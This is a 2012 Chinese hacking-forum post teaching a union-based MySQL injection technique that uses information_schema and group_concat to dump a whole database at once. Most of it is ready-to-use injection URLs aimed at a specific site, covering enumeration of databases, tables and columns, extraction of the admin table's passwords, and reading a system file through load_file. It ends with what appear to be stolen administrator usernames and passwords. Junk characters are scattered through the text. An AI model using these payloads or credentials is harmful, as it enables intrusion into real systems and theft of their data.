找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2469|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
; G6 }8 `) P# C9 r1 s# t! N但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人: H6 r" c" N0 i- M' g! v* j0 E# H
- i. g) ^* v8 j( n4 S
$ ^6 \9 F2 c9 g+ h2 g
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
3 E: W' F' u. _: a' Q; ~  ?
; }. O' b, e- q+ H2 g缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢..." M$ ^+ e; n* v3 A6 I; G
2 @( {9 E8 M0 f% }
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
* \' q. @- e  [1 H: s% @在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等/ G$ N: S; F  I4 E
; T  m" _1 y- c2 s
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
5 D# p$ {! I! s$ l2 u, Y0 T& q
5 H( v2 M4 Y. f; O5 x/ j4 _读出所有库:
8 O( M- d  W; h- P. ^# P7 ^; C! @+ Thttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
) {% S# `$ m5 k% M2 @5 W5 v
- U( i2 S& ?4 ^2 |% D/ s1 C3 J" X4 k0 h2 Z$ G+ S! \

, P7 G' @; S3 Q8 h; h8 m读出所有表:
% Y* D9 q! }# ?0 C; Khttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
' P& M; u; o1 ?9 M5 f/ C& l( b9 ]( T1 n" I) q$ }! j4 U" |6 A2 a# N3 r, q
读出所有表字段:
' y9 |" Z6 u. z  G2 o' chttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)4 U  S: t: n1 v% A  z
*/ (97,100,109,105,110)为admin的ascii码 依次类推
/ d' Y( o2 m2 {, B' R/ j- {
- K- C& ~- D- ~$ _/ c$ l9 w1 {# r, ]读出所有表字段里的内容:, [5 @) m& E7 P/ U6 M
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin1 {1 {# w) J& S; Q% U
9 L  d2 y5 Q; D" w, S  F0 h

2 H. C7 y! C& B. \: V+ m4 ?6 O% E7 ]  Q& O

; L/ X7 ]5 J) v  [: w. D0 }+ x7 @$ h! Y8 r" i
0 a# a" `7 O* x& ]  Y9 O
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
% G5 x- W3 {$ o8 v. d
! q/ Q1 C" M& s# V& t2 _( Z5 k' }% o( x# r
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
9 {6 j& @* F, k8 k! b% n" a( ~, z3 u5 K/ R6 W; R: U" Q  O
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23* E+ E( E% @7 ^4 x

# @1 \1 d- s: f/ g9 o/ \  B+ K8 P9 ]6 n, P0 \
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23- o6 O& y- x+ H, }- i: V: L
+ V8 @- B8 T: \2 e

: E' g; f# L7 @- x( A        webmaster:dzb521123,simlab:simadmin20043233; T! X! t6 |8 B$ P0 t* E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表